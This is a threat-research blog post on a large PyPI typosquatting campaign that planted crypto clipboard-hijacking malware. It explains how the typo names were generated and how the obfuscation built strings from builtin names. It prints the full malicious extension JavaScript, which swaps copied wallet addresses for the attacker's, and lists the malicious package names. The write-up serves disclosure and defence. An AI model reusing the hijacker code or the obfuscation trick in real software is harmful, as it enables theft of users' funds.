Phylum Discovers Revived Crypto Wallet Address Replacement Attack

Phylum Discovers Revived Crypto Wallet Address Replacement Attack

UPDATE: This campaign is still unfolding. Currently, the actor appears to have typosquatted several major packages in PyPI. We will continue to update this blog post as new details emerge.

In November of 2022, Phylum discovered and published an article about an attack on PyPI in which threat actors attempted to replace cryptocurrency addresses in developer clipboards with their own wallet addresses by using Python to write a malicious JavaScript extension that loads anytime a browser is opened on the machine.

At around 17:49 UTC on 9 February 2023, Phylum’s automated risk detection platform began alerting us to a long series of suspicious publications which appear to be a revived attempt to deliver the same crypto wallet clipboard replacing malware. This time, however, the attacker changed the obfuscation technique and radically increased the volume of attacks.

Typosquatting Again

As before, the initial vector is typosquatting. Last time they published just over 2 dozen packages but this time we saw twenty times as many - over 451 unique packages. These targeted some very popular packages, many of them in the crypto/finance and web development space:

  • bitcoinlib
  • ccxt
  • cryptocompare
  • cryptofeed
  • freqtrade
  • selenium
  • solana
  • vyper
  • websockets
  • yfinance
  • pandas
  • matplotlib
  • aiohttp
  • beautifulsoup
  • tensorflow
  • selenium
  • scrapy
  • colorama
  • scikit-learn
  • pytorch
  • pygame
  • pyinstaller

The attacker increased the number of packages from their last attack by trying to register the same code in every possible simple typo of a package name. For example, in the case of vyper, the user zolotaya.sofiya registered 13 packages, nearly simultaneously.

  • Deletion of a single character
  • yper
  • vper
  • vyer
  • vype
  • Duplication of a single character
  • vvyper
  • vyyper
  • vypper
  • vypeer
  • vyperr
  • Transposition of two characters
  • yvper
  • vpyer
  • vyepr
  • vypre

This technique is trivially easy to automate with a script (we leave this as an exercise for the reader), and as the length of the name of the legitimate package increases, so do the possible typosquats. For example, our system detected 38 typosquats of the cryptocompare package published nearly simultaneously by the user named pinigin.9494.

The Obfuscation Technique

The obfuscation technique in these packages is significantly different from the packages we looked at in November. Here’s a screenshot of yfinacne

malware

Initially, this appears formidable. The first thing that we noticed is that the function and variable identifiers appear to be random 16-long combinations from the following table of Chinese Ideographs:

Unicode code point Ideograph Definition
0x4eba man; people; mankind; someone else
0x5200 knife; old coin; measure
0x53e3 mouth; open end; entrance, gate
0x5973 woman, girl; feminine
0x5b50 child; fruit, seed of
0x5c71 mountain, hill, peak
0x65e5 sun; day; daytime
0x6708 moon; month
0x6728 tree; wood, lumber; wooden
0x6c34 water, liquid, lotion, juice
0x76ee eye; look, see; division, topic
0x99ac horse; surname
0x9a6c horse; surname
0x9ce5 bird
0x9e1f bird

Next, on line 5 we see the following:

''.join(map(getattr(__builtins__, oct.__str__()[-3 << 0] + hex.__str__()[-1 << 2] + copyright.__str__()[4 << 0]), [(((1 << 4) - 1) << 3) - 1, ((((3 << 2) + 1)) << 3) + 1, (7 << 4) - (1 << 1), ((((3 << 2) + 1)) << 2) - 1, (((3 << 3) + 1) << 1)]))

We can see a series of these kinds of calls oct.__str__()[-3 << 0]. The [-3 << 0] evaluates to [-3] and oct.__str__() evaluates to the string '<built-in function oct>'. Using Python’s index operator [] on a string with a -3 will grab the 3rd character from the end of the string, in this case '<built-in function oct>'[-3] will evaluate to 'c'. Continuing with this on the other 2 here gives us 'c' + 'h' + 'r' and simply evaluating the complex bitwise arithmetic tacked on to the end leaves us with:

''.join(map(getattr(__builtins__, 'c' + 'h' + 'r'), [119, 105, 110, 51, 50]))

The getattr(__builtins__, 'c' + 'h' + 'r') just gives us the builtin function chr and then it maps chr to the list of ints [119, 105, 110, 51, 50] and then joins it all together into a string ultimately giving us 'win32'. This technique is continued throughout the entirety of the code.

So while this obfuscation is interesting and builds up extremely complex and highly obfuscated looking code (especially when combined with the use of Chinese characters in the variables names), from a dynamic standpoint this is trivial. Python is an interpreted language, and the code must run. We simply have to evaluate these instances and it reveals exactly what the code is doing.

The Maliciousness

Ultimately, this code is attempting to do exactly what we discovered in November’s blog post and that is quietly replace any crypto wallet address copied to the user’s clipboard with the attacker’s controlled wallet addresses. It does that by creating a browser extension and then writes the following JavaScript to that extension:

let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
        document.execCommand('paste');
    var clipboardContent = inputElement.value;
    clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
    clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
    clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
    clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
    clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
    clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
    clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
    clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
    clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
    clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
\tclipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');
 
    inputElement.value = clipboardContent;
    inputElement.select();
    
    document.execCommand('copy');
    
    inputElement.value = '';
}

setInterval(checkWalletAddresses, 1000);

It then tries to establish persistence by getting the machine’s browser(s) to load this extension anytime a browser is opened. See the previous post for more details about this.

Conclusions

What can we takeaway from all of this?

  1. This attacker significantly increased their footprint in pypi through automation. Flooding the ecosystem with packages like this will continue.
  2. The use of Chinese characters, or any other Unicode plane for that matter, is an easy misdirection to detect and to dismiss.
  3. Indexing into a Python string by calling the __str__() method is clever. The vast array of Python strings available like this can be used to build up nearly any other string of code that can be used for malicious intent. However, the code must run, and all of these kinds of obfuscation techniques are ultimately hopeless.

Nevertheless, in light of all these things, the attacker doesn’t have to be right for very long to be successful.

Malicious Package List

  • aaiohttp
  • aihottp
  • aiohhttp
  • aiohtpt
  • aiohtt
  • aiohttpp
  • aioohttp
  • aiothtp
  • aiottp
  • amtplotlib
  • aohttp
  • apndas
  • atplotlib
  • bautifulsoup4
  • bbitcoinlib
  • beaautifulsoup4
  • beatuifulsoup4
  • beautiffulsoup4
  • beautiflsoup4
  • beautiflusoup4
  • beautifullsoup4
  • beautifulosup4
  • beautifuloup4
  • beautifulsooup4
  • beautifulsop4
  • beautifulsou4
  • beautifulsoup44
  • beautifulsoupp4
  • beautifulsouup4
  • beautifulssoup4
  • beautifulsuop4
  • beautifusloup4
  • beautifuulsoup4
  • beautiifulsoup4
  • beautiulsoup4
  • beauttifulsoup4
  • beauutifulsoup4
  • beeautifulsoup4
  • beuatifulsoup4
  • beutifulsoup4
  • bicoinlib
  • bictoinlib
  • biitcoinlib
  • bitccoinlib
  • bitcinlib
  • bitcionlib
  • bitcoiinlib
  • bitcoilib
  • bitcoilnib
  • bitcoinlb
  • bitcoinlbi
  • bitcoinli
  • bitcoinlibb
  • bitcoinliib
  • bitcoinnlib
  • bitconilib
  • bitconlib
  • bitcooinlib
  • bitocinlib
  • bitoinlib
  • bittcoinlib
  • btcoinlib
  • bticoinlib
  • cccxt
  • ccolorama
  • ccryptocompare
  • ccryptofeed
  • ccx
  • ccxtt
  • ccxxt
  • cikit-learn
  • clorama
  • collorama
  • coloama
  • coloarma
  • coloorama
  • coloraa
  • coloramaa
  • coloramma
  • colorrama
  • coolrama
  • coorama
  • crptocompare
  • crptofeed
  • crpytocompare
  • crpytofeed
  • crryptocompare
  • crryptofeed
  • crypocompare
  • crypofeed
  • crypotcompare
  • crypotfeed
  • crypptocompare
  • crypptofeed
  • cryptcompare
  • cryptcoompare
  • cryptfeed
  • cryptfoeed
  • cryptoccompare
  • cryptocmopare
  • cryptocmpare
  • cryptocomapre
  • cryptocomare
  • cryptocommpare
  • cryptocompaare
  • cryptocompae
  • cryptocompaer
  • cryptocompar
  • cryptocomparee
  • cryptocomparre
  • cryptocomppare
  • cryptocomprae
  • cryptocompre
  • cryptocoompare
  • cryptocopare
  • cryptocopmare
  • cryptoeed
  • cryptoefed
  • cryptofed
  • cryptofede
  • cryptofee
  • cryptofeedd
  • cryptofeeed
  • cryptoocmpare
  • cryptoocompare
  • cryptoofeed
  • cryptoompare
  • crypttocompare
  • crypttofeed
  • crytocompare
  • crytofeed
  • crytpocompare
  • crytpofeed
  • cryyptocompare
  • cryyptofeed
  • csikit-learn
  • csrapy
  • cxct
  • cxt
  • cyptocompare
  • cyptofeed
  • cyrptocompare
  • cyrptofeed
  • ebautifulsoup4
  • ebsockets
  • ensorflow
  • erquests
  • eslenium
  • etnsorflow
  • feqtrade
  • ferqtrade
  • ffreqtrade
  • freeqtrade
  • freqqtrade
  • freqrade
  • freqrtade
  • freqtade
  • freqtarde
  • freqtraade
  • freqtrad
  • freqtradde
  • freqtradee
  • freqtrae
  • freqtraed
  • freqtrdae
  • freqtrde
  • freqtrrade
  • freqttrade
  • fretqrade
  • fretrade
  • frqetrade
  • frqtrade
  • frreqtrade
  • fyinance
  • homeworkte
  • homeworktee
  • homeworkteee
  • homeworkteeee
  • homeworktest
  • homeworktestt
  • homeworktesttt
  • homeworkwork
  • iaohttp
  • ibtcoinlib
  • itcoinlib
  • maatplotlib
  • maplotlib
  • matlotlib
  • matlpotlib
  • matpllotlib
  • matplolib
  • matploltib
  • matplootlib
  • matplotlb
  • matplotlibb
  • matplotliib
  • matplottlib
  • matpltlib
  • matpltolib
  • matpoltlib
  • matpplotlib
  • mattplotlib
  • mmatplotlib
  • mtaplotlib
  • mtplotlib
  • oclorama
  • olana
  • olorama
  • oslana
  • panads
  • panas
  • pandaas
  • pandsa
  • pgame
  • pinstaller
  • piynstaller
  • pnadas
  • pndas
  • ppandas
  • ppygame
  • ppyinstaller
  • ppython-binance
  • ppytorch
  • pthon-binance
  • ptorch
  • ptyhon-binance
  • ptyorch
  • pyagme
  • pygaame
  • pygae
  • pygamee
  • pygamme
  • pyggame
  • pygmae
  • pyhon-binance
  • pyhton-binance
  • pyiinstaller
  • pyinnstaller
  • pyinsaller
  • pyinsstaller
  • pyinstaaller
  • pyinstalelr
  • pyinstalle
  • pyinstalleer
  • pyinstallerr
  • pyinstalller
  • pyinstallr
  • pyinstallre
  • pyinstlaler
  • pyinsttaller
  • pyintaller
  • pyintsaller
  • pyisntaller
  • pynistaller
  • pythhon-binance
  • pythn-binance
  • pythno-binance
  • pytho-binance
  • python-bbinance
  • python-biance
  • python-biannce
  • python-biinance
  • python-binaance
  • python-binace
  • python-binacne
  • python-binanc
  • python-binancce
  • python-binancee
  • python-binane
  • python-binanec
  • python-binannce
  • python-binnace
  • python-binnance
  • python-binnce
  • python-bnance
  • python-bniance
  • python-ibnance
  • python-inance
  • pythonn-binance
  • pythoon-binance
  • pytoch
  • pytocrh
  • pytohn-binance
  • pyton-binance
  • pytoorch
  • pytorcch
  • pytorchh
  • pytorh
  • pytorrch
  • pytrch
  • pytthon-binance
  • pyttorch
  • pyygame
  • pyyinstaller
  • pyython-binance
  • pyytorch
  • rcyptocompare
  • rcyptofeed
  • reqtrade
  • rfeqtrade
  • ryptocompare
  • ryptofeed
  • scarpy
  • sccikit-learn
  • sccrapy
  • sciikit-learn
  • sciikt-learn
  • sciit-learn
  • sciki-learn
  • scikiit-learn
  • scikit-earn
  • scikit-elarn
  • scikit-laern
  • scikit-larn
  • scikit-leaarn
  • scikit-lean
  • scikit-leanr
  • scikit-lear
  • scikit-learnn
  • scikit-learrn
  • scikit-leearn
  • scikit-leran
  • scikit-lern
  • scikit-llearn
  • scikitt-learn
  • scikkit-learn
  • scikt-learn
  • scikti-learn
  • sckiit-learn
  • scraapy
  • scrapyy
  • scray
  • scrpay
  • scrrapy
  • seelenium
  • seelnium
  • seleenium
  • seleinum
  • seleium
  • seleniium
  • seleniu
  • seleniumm
  • seleniuum
  • selennium
  • selenum
  • sellenium
  • selneium
  • selnium
  • sickit-learn
  • sikit-learn
  • slana
  • sleenium
  • sloana
  • soalna
  • soana
  • solaa
  • solaan
  • solaana
  • solanaa
  • solanna
  • sollana
  • solna
  • solnaa
  • soolana
  • srcapy
  • sscikit-learn
  • sscrapy
  • sselenium
  • ssolana
  • teensorflow
  • tennsorflow
  • tenorflow
  • tenosrflow
  • tensofrlow
  • tensoorflow
  • tensorfflow
  • tensorfllow
  • tensorflo
  • tensorfloow
  • tensorfloww
  • tensorflw
  • tensorflwo
  • tensorlfow
  • tensorlow
  • tensorrflow
  • tensroflow
  • tenssorflow
  • tesnorflow
  • tesorflow
  • tnesorflow
  • tnsorflow
  • vper
  • vpyer
  • vvyper
  • vyepr
  • vyer
  • vype
  • vypeer
  • vyperr
  • vypper
  • vypre
  • vyyper
  • wbesockets
  • webbsockets
  • webockets
  • webosckets
  • websckets
  • webscokets
  • websocckets
  • websocets
  • websockeets
  • websockes
  • websockest
  • websocketss
  • websocketts
  • websockkets
  • websocktes
  • websockts
  • websokcets
  • websokets
  • websoockets
  • webssockets
  • weebsockets
  • wesbockets
  • wesockets
  • wwebsockets
  • yffinance
  • yfiance
  • yfiannce
  • yfiinance
  • yfinaance
  • yfinace
  • yfinacne
  • yfinancce
  • yfinancee
  • yfinane
  • yfinanec
  • yfinannce
  • yfinnace
  • yfinnance
  • yfinnce
  • yfnance
  • yfniance
  • ygame
  • yper
  • ypinstaller
  • ypthon-binance
  • ython-binance
  • ytorch
  • yvper
  • yyfinance
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.